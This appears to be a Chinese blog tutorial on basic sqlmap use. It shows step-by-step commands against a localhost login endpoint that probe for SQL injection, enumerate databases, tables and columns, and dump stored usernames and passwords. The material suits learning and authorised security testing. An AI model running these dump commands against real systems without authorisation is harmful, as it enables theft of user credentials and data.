sqlmap基本使用方法

sqlmap是安全測試工具,通常用於對已知的http接口進行sql注入測試,一旦注入成功,可以獲取到後臺包括數據庫表、用戶信息、數據內容等多種敏感信息,對web漏洞防範有重要意義。

 

基本語法

 

1.先進行注入點探測,常規語法是:

python sqlmap.py –u [url]

說明:url 一般選擇包括參數輸入的鏈接。如果是get方法,就直接跟在url後面用?補充參數。如果是post方法,用--data=’xxx=xxx&yyy=yyy’格式發送。或者是--data=’{“xx”:”xxx”}’ json格式的數據。如果不是這兩種常見方法,需要加參數 --method=put 或 --method=delete加以特別說明。如果是路徑參數,就在參數位置寫* ;如果需要加入header信息,需要加上參數--headers=’xx:xxx\nyy:yyy’ ,\n是多行,表示多個header項。

如:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’

python sqlmap.py --method=delete –u http://localhost:8080/users/uid/*

執行結果一般會顯示是否有漏洞,包括幾個注入點等等。

 

2.如果存在可注入點,接下來就可以進行獲取數據的sql注入了。

比如查看有哪些數據庫:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ --dbs

 

查看當前數據庫:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ --current-db

 

查看當前用戶:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ --current-user

 

查看數據庫中有哪些表:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ -D dbname --table

 

查看錶中有哪些字段:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ -D dbname -T users --column

 

查看字段內容:

python sqlmap.py –u http://localhost:8080/login --data=’username=zhangsan&password=12345’ -D dbname -T users -C “username,password,usertype” --dump

 

這樣一步一步下來把用戶信息全得到了。其他數據也是如此,就是常說的被拖庫了。

sqlmap功能及其強大,還包括多種用法,操作也相對複雜,具體可參考幫助文檔。一般來說,如果很輕易就發現漏洞說明安全意識很差,接下來的操作也勢如破竹。如果不是很快探測到漏洞說明防範措施還是有的。那麼換別的用法恐怕也收穫不大。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章